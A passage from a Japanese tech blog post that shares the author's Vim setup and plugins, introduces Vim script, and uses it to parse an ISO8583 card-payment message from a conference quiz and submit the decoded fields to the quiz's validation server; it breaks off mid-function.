href="http://d.hatena.ne.jp/keyword/%A5%B9%A5%AD%A1%BC%A5%DE">スキーマ</a>です。</li> </ul> </li> <li><a href="https://github.com/t9md/vim-quickhl">t9md/vim-quickhl</a> <ul> <li>特定の文字や単語に色を付ける。ログの調査で重宝しています。</li> </ul> </li> <li><a href="https://github.com/mattn/vim-goimports">mattn/vim-goimports</a> <ul> <li>Go の整形。カンムのメイン言語は Go なので。</li> </ul> </li> <li><a href="https://github.com/airblade/vim-gitgutter">airblade/vim-gitgutter</a> <ul> <li>開いているファイルの Git の変更箇所を表示してくれる。</li> </ul> </li> </ul> <p>これらの<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%D7%A5%E9%A5%B0%A5%A4%A5%F3">プラグイン</a>とともにいくつかの設定を施しています。 <a class="keyword" href="http://d.hatena.ne.jp/keyword/Vim">Vim</a> を知らない人向けに少し書くと、<a class="keyword" href="http://d.hatena.ne.jp/keyword/Vim">Vim</a> の設定ファイルは <code>.vimrc</code> で基本的な配置位置は <code>$HOME/.vimrc</code> になります。<a class="keyword" href="http://d.hatena.ne.jp/keyword/Vim">Vim</a> のカスタマイズはこちらのファイルを編集することで行います。私の設定は以下のようになっています。</p> <pre class="code lang-vim" data-lang="vim" data-unlink><span class="synComment">&quot;=========================================================</span> <span class="synComment">&quot; Basic Configuration</span> <span class="synComment">&quot;=========================================================</span> <span class="synStatement">set</span> <span class="synPreProc">notitle</span> <span class="synStatement">set</span> <span class="synPreProc">nocompatible</span> <span class="synComment">&quot;vi互換をoff</span> <span class="synStatement">set</span> <span class="synPreProc">nobackup</span> <span class="synComment">&quot;バックアップファイルを作らない</span> <span class="synStatement">set</span> <span class="synPreProc">noswapfile</span> <span class="synComment">&quot;スワップファイルを作らない</span> <span class="synStatement">set</span> <span class="synPreProc">number</span> <span class="synComment">&quot;行番号を表示</span> <span class="synStatement">set</span> <span class="synPreProc">laststatus</span>=2 <span class="synComment">&quot;ステータスを常に表示</span> <span class="synStatement">set</span> <span class="synPreProc">showmode</span> <span class="synComment">&quot;モードを表示する</span> <span class="synStatement">set</span> <span class="synPreProc">showcmd</span> <span class="synComment">&quot;コマンドを表示</span> <span class="synStatement">set</span> <span class="synPreProc">noshowmatch</span> <span class="synStatement">set</span> <span class="synPreProc">display</span>=uhex <span class="synComment">&quot;謎の文字を16進数で表示</span> <span class="synStatement">set</span> <span class="synPreProc">wildmenu</span> <span class="synComment">&quot;補間候補を表示する</span> <span class="synStatement">set</span> <span class="synPreProc">wrap</span> <span class="synComment">&quot;自動折返しを有効</span> <span class="synStatement">set</span> <span class="synPreProc">expandtab</span> <span class="synComment">&quot;タブをスペースに変換</span> <span class="synStatement">set</span> <span class="synPreProc">tabstop</span>=2 <span class="synComment">&quot;タブをスペース4つ分として表示する</span> <span class="synStatement">set</span> <span class="synPreProc">shiftwidth</span>=4 <span class="synComment">&quot;シフトで移動する文字幅</span> <span class="synStatement">set</span> <span class="synPreProc">softtabstop</span>=2 <span class="synComment">&quot;タブキーを押したときに挿入する半角スペースの数</span> <span class="synStatement">set</span> <span class="synPreProc">noincsearch</span> <span class="synComment">&quot;インクリメンタルサーチはしない</span> <span class="synStatement">set</span> <span class="synPreProc">wrapscan</span> <span class="synComment">&quot;最後まで検索したら先頭へ戻る</span> <span class="synStatement">set</span> <span class="synPreProc">ignorecase</span> <span class="synComment">&quot;大文字小文字無視</span> <span class="synStatement">set</span> <span class="synPreProc">smartcase</span> <span class="synComment">&quot;検索文字列に大文字が含まれている場合は区別して検索する</span> <span class="synStatement">set</span> <span class="synPreProc">hlsearch</span> <span class="synComment">&quot;検索文字をハイライト</span> <span class="synStatement">set</span> <span class="synPreProc">splitbelow</span> <span class="synComment">&quot;新しいウィンドウを下に開く</span> <span class="synStatement">set</span> <span class="synPreProc">splitright</span> <span class="synComment">&quot;新しいウィンドウを右に開く</span> <span class="synStatement">set</span> <span class="synPreProc">nocursorline</span> <span class="synComment">&quot;カーソルのある行をハイライトしない</span> <span class="synStatement">set</span> <span class="synPreProc">nocursorcolumn</span> <span class="synComment">&quot;カーソルのある列をハイライトしない</span> <span class="synStatement">augroup</span> Cursor <span class="synStatement">autocmd</span> <span class="synType">WinLeave</span> * <span class="synStatement">setlocal</span> nocursorline <span class="synComment">&quot;カレントウィンドウから離れたらカーソルハイライトを消す</span> highlight ZenkakuSpace cterm<span class="synStatement">=</span>underline ctermfg<span class="synStatement">=</span>lightblue guibg<span class="synStatement">=#</span><span class="synConstant">666666</span> <span class="synComment">&quot;全角スペースを見えるようにする</span> <span class="synStatement">autocmd</span> <span class="synType">BufNewFile</span>,<span class="synType">BufRead</span> * <span class="synIdentifier">match</span> ZenkakuSpace <span class="synConstant">/ /</span> <span class="synStatement">augroup</span> END <span class="synStatement">filetype</span> <span class="synType">plugin</span> <span class="synType">indent</span> <span class="synType">on</span> <span class="synComment">&quot;=========================================================</span> <span class="synComment">&quot; Private</span> <span class="synComment">&quot;=========================================================</span> <span class="synStatement">let</span> <span class="synIdentifier">mapleader</span> <span class="synStatement">=</span> <span class="synConstant">&quot;\&lt;Space&gt;&quot;</span> <span class="synStatement">nnoremap</span> <span class="synSpecial">&lt;Leader&gt;</span>r :reg<span class="synSpecial">&lt;CR&gt;</span> <span class="synComment">&quot;=========================================================</span> <span class="synComment">&quot; Encode</span> <span class="synComment">&quot;=========================================================</span> <span class="synComment">&quot;表示するときの文字コード(ターミナルの設定と同じ)</span> <span class="synStatement">set</span> <span class="synPreProc">encoding</span>=utf-8 <span class="synComment">&quot;保存するときの文字コード</span> <span class="synStatement">set</span> <span class="synPreProc">fileencoding</span>=utf-8 <span class="synComment">&quot;文字コード自動判別の候補とする文字コード種を列挙</span> <span class="synStatement">set</span> <span class="synPreProc">fileencodings</span>=iso-2022-jp<span class="synStatement">,</span>euc-jp<span class="synStatement">,</span>cp932<span class="synStatement">,</span>utf-8 <span class="synComment">&quot;=========================================================</span> <span class="synComment">&quot; Plugin management</span> <span class="synComment">&quot;=========================================================</span> <span class="synComment">&quot; プラグインインストールディレクトリ</span> <span class="synStatement">let</span> <span class="synIdentifier">s:dein_dir</span> <span class="synStatement">=</span> <span class="synIdentifier">expand</span><span class="synSpecial">(</span><span class="synConstant">'~/.cache/dein'</span><span class="synSpecial">)</span> <span class="synStatement">let</span> <span class="synIdentifier">s:dein_repo_dir</span> <span class="synStatement">=</span> <span class="synIdentifier">s:dein_dir</span> <span class="synStatement">.</span> <span class="synConstant">'/repos/github.com/Shougo/dein.vim'</span> <span class="synComment">&quot; dein.vim がなければ取得</span> <span class="synStatement">if</span> &amp;runtimepath <span class="synStatement">!~#</span> <span class="synConstant">'/dein.vim'</span> <span class="synStatement">if</span> !<span class="synIdentifier">isdirectory</span><span class="synSpecial">(</span>s:dein_repo_dir<span class="synSpecial">)</span> <span class="synStatement">execute</span> <span class="synConstant">'!git clone https://github.com/Shougo/dein.vim'</span> <span class="synIdentifier">s:dein_repo_dir</span> <span class="synStatement">endif</span> <span class="synStatement">execute</span> <span class="synConstant">'set runtimepath^='</span> <span class="synStatement">.</span> <span class="synIdentifier">fnamemodify</span><span class="synSpecial">(</span>s:dein_repo_dir, <span class="synConstant">':p'</span><span class="synSpecial">)</span> <span class="synStatement">endif</span> <span class="synStatement">if</span> dein#load_state<span class="synSpecial">(</span>s:dein_dir<span class="synSpecial">)</span> <span class="synStatement">call</span> dein#begin<span class="synSpecial">(</span>s:dein_dir<span class="synSpecial">)</span> <span class="synStatement">let</span> <span class="synIdentifier">g:rc_dir</span> <span class="synStatement">=</span> <span class="synIdentifier">expand</span><span class="synSpecial">(</span><span class="synConstant">'~/.vim/rc'</span><span class="synSpecial">)</span> <span class="synStatement">let</span> <span class="synIdentifier">s:toml</span> <span class="synStatement">=</span> <span class="synIdentifier">g:rc_dir</span> <span class="synStatement">.</span> <span class="synConstant">'/dein.toml'</span> <span class="synStatement">let</span> <span class="synIdentifier">s:lazy_toml</span> <span class="synStatement">=</span> <span class="synIdentifier">g:rc_dir</span> <span class="synStatement">.</span> <span class="synConstant">'/dein_lazy.toml'</span> <span class="synStatement">call</span> dein#load_toml<span class="synSpecial">(</span>s:toml, <span class="synSpecial">{</span><span class="synConstant">'lazy'</span>: <span class="synConstant">0</span><span class="synSpecial">})</span> <span class="synStatement">call</span> dein#load_toml<span class="synSpecial">(</span>s:lazy_toml, <span class="synSpecial">{</span><span class="synConstant">'lazy'</span>: <span class="synConstant">1</span><span class="synSpecial">})</span> <span class="synStatement">call</span> dein#end<span class="synSpecial">()</span> <span class="synStatement">call</span> dein#save_state<span class="synSpecial">()</span> <span class="synStatement">endif</span> <span class="synStatement">if</span> dein#check_install<span class="synSpecial">()</span> <span class="synStatement">call</span> dein#install<span class="synSpecial">()</span> <span class="synStatement">endif</span> <span class="synComment">&quot;=========================================================</span> <span class="synComment">&quot; Plugin configuration</span> <span class="synComment">&quot;=========================================================</span> <span class="synComment">&quot; gitgutter</span> <span class="synStatement">set</span> <span class="synPreProc">updatetime</span>=250 <span class="synStatement">let</span> <span class="synIdentifier">g:gitgutter_max_signs</span> <span class="synStatement">=</span> <span class="synConstant">500</span> <span class="synComment">&quot; goimports</span> <span class="synStatement">let</span> <span class="synIdentifier">g:goimports</span> <span class="synStatement">=</span> <span class="synConstant">1</span> <span class="synComment">&quot; vim-quickhl</span> <span class="synStatement">nmap</span> <span class="synSpecial">&lt;Space&gt;</span>m <span class="synSpecial">&lt;Plug&gt;</span>(quickhl-manual-this) <span class="synStatement">xmap</span> <span class="synSpecial">&lt;Space&gt;</span>m <span class="synSpecial">&lt;Plug&gt;</span>(quickhl-manual-this) <span class="synStatement">nmap</span> <span class="synSpecial">&lt;Space&gt;</span>M <span class="synSpecial">&lt;Plug&gt;</span>(quickhl-manual-reset) <span class="synStatement">xmap</span> <span class="synSpecial">&lt;Space&gt;</span>M <span class="synSpecial">&lt;Plug&gt;</span>(quickhl-manual-reset) <span class="synComment">&quot;=========================================================</span> <span class="synComment">&quot; Color</span> <span class="synComment">&quot;=========================================================</span> <span class="synStatement">colorscheme</span> cyberspace <span class="synStatement">set</span> <span class="synPreProc">background</span>=light <span class="synComment">&quot; 256色</span> <span class="synStatement">set</span> <span class="synPreProc">t_Co</span>=256 <span class="synComment">&quot; 背景色</span> <span class="synStatement">set</span> <span class="synPreProc">signcolumn</span>=yes <span class="synStatement">hi</span> <span class="synType">SignColumn</span> <span class="synType">ctermbg</span>=black <span class="synStatement">hi</span> <span class="synType">SignColumn</span> <span class="synType">guibg</span>=<span class="synType">black</span> <span class="synComment">&quot;=========================================================</span> <span class="synComment">&quot; Popup color</span> <span class="synComment">&quot;=========================================================</span> <span class="synStatement">hi</span> <span class="synType">NormalFloat</span> <span class="synType">guifg</span>=<span class="synConstant">#ffffff</span> <span class="synType">guibg</span>=<span class="synConstant">#191970</span> <span class="synStatement">hi</span> <span class="synType">Pmenu</span> <span class="synType">guifg</span>=<span class="synConstant">#ffffff</span> <span class="synType">guibg</span>=<span class="synConstant">#191970</span> <span class="synComment">&quot;=========================================================</span> <span class="synComment">&quot; status line color</span> <span class="synComment">&quot;=========================================================</span> <span class="synStatement">set</span> <span class="synPreProc">noshowmode</span> <span class="synStatement">let</span> <span class="synIdentifier">g:lightline</span> <span class="synStatement">=</span> <span class="synSpecial">{</span> <span class="synConstant">'colorscheme'</span>: <span class="synConstant">'wombat'</span> <span class="synSpecial">}</span> <span class="synStatement">syntax</span> <span class="synType">enable</span> </pre> <p>前半部分に <code>set xxxx</code> という設定が羅列されていますが、<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%D7%A5%E9%A5%B0%A5%A4%A5%F3">プラグイン</a>マネージャ dein の箇所には変数 ( <code>let ...</code> )や関数呼び出し ( <code>call ...</code> )、外部コマンドの呼び出し (<code>execute '!git ...</code>)、条件分岐 ( <code>if ...</code> ) が表れたりします。 <code>set xxxx</code> も含めこれらは <a class="keyword" href="http://d.hatena.ne.jp/keyword/Vim">Vim</a> script と呼ばれます。つまり <a class="keyword" href="http://d.hatena.ne.jp/keyword/Vim">Vim</a> の設定ファイルや<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%D7%A5%E9%A5%B0%A5%A4%A5%F3">プラグイン</a>の正体は <a class="keyword" href="http://d.hatena.ne.jp/keyword/Vim">Vim</a> script の塊です。</p> <p>ちなみに <a class="keyword" href="http://d.hatena.ne.jp/keyword/Vim">Vim</a> script は<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%AA%A5%D6%A5%B8%A5%A7%A5%AF%A5%C8%BB%D8%B8%FE">オブジェクト指向</a>プログラミングもサポートしています。 <a class="keyword" href="http://d.hatena.ne.jp/keyword/Vim">Vim</a> script は単なる設定ではなくれっきとした<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%D7%A5%ED%A5%B0%A5%E9%A5%DF%A5%F3%A5%B0%B8%C0%B8%EC">プログラミング言語</a>です。</p> <h3>2. <a class="keyword" href="http://d.hatena.ne.jp/keyword/Vim">Vim</a> script を書く</h3> <p>ではその <a class="keyword" href="http://d.hatena.ne.jp/keyword/Vim">Vim</a> script を書いてみます。<a class="keyword" href="http://d.hatena.ne.jp/keyword/Vim">Vim</a> の設定というよりは Hello, world のような簡単なプログラムを書いてみます。</p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/Vim">Vim</a> script の始め方は簡単で、 <a class="keyword" href="http://d.hatena.ne.jp/keyword/Vim">Vim</a> を起動したら<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B3%A5%DE%A5%F3%A5%C9%A5%E9%A5%A4%A5%F3">コマンドライン</a>モードでそのまま <a class="keyword" href="http://d.hatena.ne.jp/keyword/Vim">Vim</a> script が書けます。次の例ではテキストの2行目から4行目を取得して echo で結果を出力しています。結果はそのままステータスラインに表示されます。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/k/kanmu-tech/20220531/20220531174547.png" width="1200" height="246" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <p>map() などの便利な組み込み関数もあります。似たようなコードですが、2行目から4行目の数値をリストで取得して出力、続いてそれを map 関数を通して倍にして出力しています。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/k/kanmu-tech/20220531/20220531175125.png" width="1192" height="472" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <p>一連の処理は .vimrc に関数として定義することで <code>call FuncName()</code> で利用できます。次の関数は数値のリストを受け取ってそれを加算するものです。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/k/kanmu-tech/20220531/20220531175412.png" width="1096" height="344" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <h3>3. ISO8583</h3> <p>ここまでで <a class="keyword" href="http://d.hatena.ne.jp/keyword/Vim">Vim</a> script で普通のプログラミングができることを示しました。さて、カンムと言えば ISO8583 らしいのですが...先日の GoCon オフィスアワーで <a href="https://github.com/kanmu/gocon-2022-spring">ISO8583 を Go で Parse してみましょうという出題</a>がありました。これを <a class="keyword" href="http://d.hatena.ne.jp/keyword/Vim">Vim</a> script で倒してみます。</p> <p>ISO8583 自体の説明や GoCon の問題の説明や解説は下記のエントリを参照していただけると幸いです。が、少しだけ解説します。ISO8583というのはクレジットカードのデータ通信時に使われる<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%D7%A5%ED%A5%C8%A5%B3%A5%EB">プロトコル</a>で、店頭でカードを切ったときにこの<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%D7%A5%ED%A5%C8%A5%B3%A5%EB">プロトコル</a>にのっとってデータが飛んできます。カード会社はこの<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%D7%A5%ED%A5%C8%A5%B3%A5%EB">プロトコル</a>を捌く必要があり、カンムでもこれを処理するサーバとアプリケーションが元気に稼働しています。これは <a class="keyword" href="http://d.hatena.ne.jp/keyword/Vim">Vim</a> script ではなくは Go で書かれています。</p> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Ftech.kanmu.co.jp%2Fentry%2F2022%2F05%2F17%2F113000" title="Go Conference 2022 Spring: クイズ ISO 8583 Message Challange の紹介と解説 - カンムテックブログ" class="embed-card embed-blogcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 190px; max-width: 500px; margin: 10px 0px;"></iframe><cite class="hatena-citation"><a href="https://tech.kanmu.co.jp/entry/2022/05/17/113000">tech.kanmu.co.jp</a></cite></p> <h4>3.1 問題のファイルを読む</h4> <p>問題を解くにあたりまずやるべきことは問題のバイナリデータを読むことです。<a class="keyword" href="http://d.hatena.ne.jp/keyword/Vim">Vim</a> script でも<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%D5%A5%A1%A5%A4%A5%EB%A5%B7%A5%B9%A5%C6%A5%E0">ファイルシステム</a>からファイルを読むことができます。次のようにファイルをバイナリモードで読み込んで1バイトずつ処理できます。</p> <pre class="code lang-vim" data-lang="vim" data-unlink><span class="synStatement">let</span> <span class="synIdentifier">inputfile</span> <span class="synStatement">=</span> <span class="synConstant">&quot;/path/to/github.com/kanmu/gocon-2022-spring/message.bin&quot;</span> <span class="synStatement">for</span> <span class="synStatement">b</span> <span class="synStatement">in</span> <span class="synIdentifier">readfile</span><span class="synSpecial">(</span>inputfile, <span class="synConstant">'B'</span><span class="synSpecial">)</span> <span class="synComment"> &quot; ISO8583 Processing</span> <span class="synStatement">endfor</span> </pre> <h4>3.2 結果を送信する</h4> <p>さらに問題を解くには結果を送信する必要があるのですが <a class="keyword" href="http://d.hatena.ne.jp/keyword/Vim">Vim</a> script でも当然できます。ソケットを開いてそこに HTTP を書き込むことで HTTP 通信ができます</p> <pre class="code lang-vim" data-lang="vim" data-unlink><span class="synStatement">let</span> <span class="synIdentifier">channel</span> <span class="synStatement">=</span> <span class="synIdentifier">ch_open</span><span class="synSpecial">(</span><span class="synConstant">&quot;168.138.192.92:80&quot;</span>, <span class="synSpecial"> \</span> <span class="synSpecial">{</span><span class="synConstant">&quot;callback&quot;</span>: <span class="synConstant">&quot;Callback&quot;</span>, <span class="synConstant">&quot;mode&quot;</span>: <span class="synConstant">&quot;raw&quot;</span>, <span class="synConstant">&quot;waittime&quot;</span>: <span class="synConstant">&quot;1000ms&quot;</span><span class="synSpecial">})</span> <span class="synStatement">let</span> <span class="synIdentifier">body</span> <span class="synStatement">=</span> <span class="synIdentifier">printf</span><span class="synSpecial">(</span><span class="synConstant">&quot;{\&quot;input\&quot;:{\&quot;Type\&quot;:%d,\&quot;PrimaryAccountNumber\&quot;:%x,\&quot;ProcessingCode\&quot;:%x,\&quot; AmountTransaction\&quot;:%x,\&quot;ExpirationDate\&quot;:%x}}&quot;</span>, <span class="synSpecial"> \</span> <span class="synIdentifier">str2nr</span><span class="synSpecial">(</span>mt<span class="synSpecial">)</span>, pan, pc, amount, ed<span class="synSpecial">)</span> <span class="synStatement">let</span> <span class="synIdentifier">header</span> <span class="synStatement">=</span> <span class="synIdentifier">printf</span><span class="synSpecial">(</span><span class="synConstant">&quot;POST /v1/data/iso8583/validation HTTP/1.1\r\nHost: 168.138.192.92\r\nConte nt-Type: application/json\r\nContent-Length: %d\r\n\r\n&quot;</span>, <span class="synSpecial"> \</span> <span class="synIdentifier">len</span><span class="synSpecial">(</span>body<span class="synSpecial">))</span> <span class="synStatement">let</span> <span class="synIdentifier">payload</span> <span class="synStatement">=</span> header <span class="synStatement">.</span> body <span class="synStatement">call</span> <span class="synIdentifier">ch_sendraw</span><span class="synSpecial">(</span>channel, payload<span class="synSpecial">)</span> </pre> <h4>3.3 ビット演算をする</h4> <p>ISO8583 を処理するにはビット演算を活用する必要があります。こちらについては詳細は上述したとおり GoCon の問題解説のエントリを見てください。<code>and()</code> で<a class="keyword" href="http://d.hatena.ne.jp/keyword/%CF%C0%CD%FD%C0%D1">論理積</a>がとれます。 こちらはビットが立っている場所を調べて、立っていたら処理を行う...というコードになります。</p> <pre class="code lang-vim" data-lang="vim" data-unlink><span class="synComment">&quot; PAN</span> <span class="synStatement">if</span> <span class="synIdentifier">and</span><span class="synSpecial">(</span>bitmap, <span class="synConstant">0</span>b0100000000000000000000000000000000000000000000000000000000000000<span class="synSpecial">)</span> <span class="synStatement">!=</span> <span class="synConstant">0</span> <span class="synStatement">if</span> <span class="synStatement">i</span> <span class="synStatement">==</span> <span class="synConstant">10</span> <span class="synStatement">let</span> <span class="synIdentifier">panbyte</span> <span class="synStatement">=</span> <span class="synStatement">b</span>/<span class="synConstant">2</span> <span class="synStatement">let</span> <span class="synIdentifier">i</span> <span class="synStatement">=</span> <span class="synStatement">i</span> <span class="synStatement">+</span> <span class="synConstant">1</span> <span class="synStatement">continue</span> <span class="synStatement">endif</span> <span class="synStatement">if</span> <span class="synStatement">i</span> <span class="synStatement">&lt;=</span> <span class="synConstant">10</span><span class="synStatement">+</span>panbyte <span class="synStatement">let</span> <span class="synIdentifier">shift</span> <span class="synStatement">=</span> <span class="synConstant">8</span> * <span class="synSpecial">(</span>panbyte <span class="synStatement">-</span> <span class="synSpecial">(</span>i <span class="synStatement">-</span> <span class="synConstant">10</span><span class="synSpecial">))</span> <span class="synStatement">let</span> <span class="synIdentifier">pan</span> <span class="synStatement">=</span> pan <span class="synStatement">+</span> <span class="synStatement">b</span> * <span class="synIdentifier">float2nr</span><span class="synSpecial">(</span><span class="synIdentifier">pow</span><span class="synSpecial">(</span><span class="synConstant">2</span>, shift<span class="synSpecial">))</span> <span class="synStatement">let</span> <span class="synIdentifier">i</span> <span class="synStatement">=</span> <span class="synStatement">i</span> <span class="synStatement">+</span> <span class="synConstant">1</span> <span class="synStatement">continue</span> <span class="synStatement">endif</span> <span class="synStatement">endif</span> <span class="synComment">&quot; Processing Code</span> <span class="synStatement">if</span> <span class="synIdentifier">and</span><span class="synSpecial">(</span>bitmap, <span class="synConstant">0</span>b0010000000000000000000000000000000000000000000000000000000000000<span class="synSpecial">)</span> <span class="synStatement">!=</span> <span class="synConstant">0</span> <span class="synStatement">if</span> <span class="synStatement">i</span> <span class="synStatement">&lt;=</span> <span class="synConstant">10</span><span class="synStatement">+</span>panbyte<span class="synStatement">+</span>pcbyte <span class="synStatement">let</span> <span class="synIdentifier">shift</span> <span class="synStatement">=</span> <span class="synConstant">8</span> * <span class="synSpecial">(</span>pcbyte <span class="synStatement">-</span> <span class="synSpecial">(</span>i <span class="synStatement">-</span> <span class="synSpecial">(</span><span class="synConstant">10</span> <span class="synStatement">+</span> panbyte<span class="synSpecial">)))</span> <span class="synStatement">let</span> <span class="synIdentifier">pc</span> <span class="synStatement">=</span> <span class="synStatement">pc</span> <span class="synStatement">+</span> <span class="synStatement">b</span> * <span class="synIdentifier">float2nr</span><span class="synSpecial">(</span><span class="synIdentifier">pow</span><span class="synSpecial">(</span><span class="synConstant">2</span>, shift<span class="synSpecial">))</span> <span class="synStatement">let</span> <span class="synIdentifier">i</span> <span class="synStatement">=</span> <span class="synStatement">i</span> <span class="synStatement">+</span> <span class="synConstant">1</span> <span class="synStatement">continue</span> <span class="synStatement">endif</span> <span class="synStatement">endif</span> </pre> <h4>3.4 ビットシフトする</h4> <p>バイナリを処理する傍らビットシフトしたくなるんですが <a class="keyword" href="http://d.hatena.ne.jp/keyword/Vim">Vim</a> script でも当然それはでき....なかった! <a class="keyword" href="http://d.hatena.ne.jp/keyword/Vim">Vim</a> script にシフト<a class="keyword" href="http://d.hatena.ne.jp/keyword/%B1%E9%BB%BB%BB%D2">演算子</a>はありません(たぶん...)!よってここは2のべき乗で対応します。</p> <pre class="code lang-vim" data-lang="vim" data-unlink><span class="synStatement">if</span> <span class="synStatement">i</span> <span class="synStatement">&lt;=</span> <span class="synConstant">10</span><span class="synStatement">+</span>panbyte <span class="synStatement">let</span> <span class="synIdentifier">shift</span> <span class="synStatement">=</span> <span class="synConstant">8</span> * <span class="synSpecial">(</span>panbyte <span class="synStatement">-</span> <span class="synSpecial">(</span>i <span class="synStatement">-</span> <span class="synConstant">10</span><span class="synSpecial">))</span> <span class="synStatement">let</span> <span class="synIdentifier">pan</span> <span class="synStatement">=</span> pan <span class="synStatement">+</span> <span class="synStatement">b</span> * <span class="synIdentifier">float2nr</span><span class="synSpecial">(</span><span class="synIdentifier">pow</span><span class="synSpecial">(</span><span class="synConstant">2</span>, shift<span class="synSpecial">))</span> <span class="synStatement">let</span> <span class="synIdentifier">i</span> <span class="synStatement">=</span> <span class="synStatement">i</span> <span class="synStatement">+</span> <span class="synConstant">1</span> <span class="synStatement">continue</span> <span class="synStatement">endif</span> </pre> <p>これは何をやっているのかというと、例えばカード番号 4019-2499-9999-9999 は ISO8583 では次のように <a class="keyword" href="http://d.hatena.ne.jp/keyword/BCD">BCD</a> で表現されています。</p> <pre class="code" data-lang="" data-unlink>0x40, 0x19, 0x24, 0x99, 0x99, 0x99, 0x99, 0x99</pre> <p>1バイトずつ処理していくため、まず 0x40 を左に7バイトシフトして 0x4000000000000000 とする、次に 0x19 を左に6バイトシフトして 0x19000000000000 とする... を行い、</p> <pre class="code" data-lang="" data-unlink> 0x4000000000000000 0x19000000000000 0x240000000000 ... + ------------------------ 4019249999999999</pre> <p>といった形でカード番号を取り出しています。</p> <h3>4. ISO8583() 関数を書く</h3> <p>重要な処理はだいたいここまでです。あとは一連の流れを組み立てていきます。結果、ISO8583 を処理する関数を書くと次のようになります。</p> <pre class="code lang-vim" data-lang="vim" data-unlink><span class="synStatement">function</span>! ISO8583<span class="synSpecial">()</span> <span class="synStatement">let</span> <span class="synIdentifier">inputfile</span> <span class="synStatement">=</span> <span class="synConstant">&quot;/path/to/github.com/kanmu/gocon-2022-spring/message.bin&quot;</span> <span class="synStatement">let</span> <span class="synIdentifier">mt</span> <span class="synStatement">=</span> <span class="synConstant">&quot;&quot;</span> <span class="synStatement">let</span> <span class="synIdentifier">bitmap</span> <span class="synStatement">=</span> <span class="synConstant">&quot;&quot;</span> <span class="synStatement">let</span> <span class="synIdentifier">bitmapbyte</span> <span class="synStatement">=</span> <span class="synConstant">8</span> <span class="synStatement">let</span> <span class="synIdentifier">panbyte</span> <span class="synStatement">=</span> <span class="synConstant">0</span> <span class="synStatement">let</span> <span class="synIdentifier">pan</span> <span class="synStatement">=</span> <span class="synConstant">&quot;&quot;</span> <span class="synStatement">let</span> <span class="synIdentifier">pc</span> <span class="synStatement">=</span> <span class="synConstant">&quot;&quot;</span> <span class="synStatement">let</span> <span class="synIdentifier">pcbyte</span> <span class="synStatement">=</span> <span class="synConstant">3</span> <span class="synStatement">let</span> <span class="synIdentifier">amount</span> <span class="synStatement">=</span> <span class="synConstant">&quot;&quot;</span> <span class="synStatement">let</span> <span class="synIdentifier">amountbyte</span> <span class="synStatement">=</span> <span class="synConstant">6</span> <span class="synStatement">let</span> <span class="synIdentifier">ed</span> <span class="synStatement">=</span> <span class="synConstant">&quot;&quot;</span> <span class="synStatement">let</span> <span class="synIdentifier">edbyte</span> <span class="synStatement">=</span> <span class="synConstant">2</span> <span class="synStatement">let</span> <span class="synIdentifier">i</span> <span class="synStatement">=</span> <span class="synConstant">0</span> <span class="synStatement">for</span> <span class="synStatement">b</span> <span class="synStatement">in</span> <span class="synIdentifier">readfile</span><span class="synSpecial">(</span>inputfile, <span class="synConstant">'B'</span><span class="synSpecial">)</span> <span class="synComment"> &quot; message type</span> <span class="synStatement">if</span> <span class="synStatement">i</span> <span class="synStatement">&lt;=</span> <span class="synConstant">1</span> <span class="synStatement">let</span> <span class="synIdentifier">mt</span> <span class="synStatement">=</span> mt <span class="synStatement">.</span> <span class="synIdentifier">printf</span><span class="synSpecial">(</span><span class="synConstant">&quot;%02s&quot;</span>, b<span class="synSpecial">)</span> <span class="synStatement">endif</span> <span class="synComment"> &quot; bitmap</span> <span class="synStatement">if</span> <span class="synStatement">i</span> <span class="synStatement">&gt;=</span> <span class="synConstant">2</span> <span class="synStatement">&amp;&amp;</span> <span class="synStatement">i</span> <span class="synStatement">&lt;=</span> <span class="synConstant">9</span> <span class="synStatement">let</span> <span class="synIdentifier">shift</span> <span class="synStatement">=</span> <span class="synConstant">8</span> * <span class="synSpecial">(</span>bitmapbyte <span class="synStatement">-</span> <span class="synSpecial">(</span>i <span class="synStatement">-</span> <span class="synConstant">1</span><span class="synSpecial">))</span> <span class="synStatement">let</span> <span class="synIdentifier">bitmap</span> <span class="synStatement">=</span> bitmap <span class="synStatement">+</span> <span class="synStatement">b</span> * <span class="synIdentifier">float2nr</span><span class="synSpecial">(</span><span class="synIdentifier">pow</span><span class="synSpecial">(</span><span class="synConstant">2</span>, shift<span class="synSpecial">))</span> <span class="synStatement">endif</span> <span class="synComment"> &quot; data element</span> <span class="synStatement">if</span> <span class="synStatement">i</span> <span class="synStatement">&gt;=</span> <span class="synConstant">10</span> <span class="synComment"> &quot; PAN</span> <span class="synStatement">if</span> <span class="synIdentifier">and</span><span class="synSpecial">(</span>bitmap, <span class="synConstant">0</span>b0100000000000000000000000000000000000000000000000000000000000000<span class="synSpecial">)</span> <span class="synStatement">!=</span> <span class="synConstant">0</span> <span class="synStatement">if</span> <span class="synStatement">i</span> <span class="synStatement">==</span> <span class="synConstant">10</span> <span class="synStatement">let</span> <span class="synIdentifier">panbyte</span> <span class="synStatement">=</span> <span class="synStatement">b</span>/<span class="synConstant">2</span> <span class="synStatement">let</span> <span class="synIdentifier">i</span> <span class="synStatement">=</span> <span class="synStatement">i</span> <span class="synStatement">+</span> <span class="synConstant">1</span> <span class="synStatement">continue</span> <span class="synStatement">endif</span> <span class="synStatement">if</span> <span class="synStatement">i</span> <span class="synStatement">&lt;=</span> <span 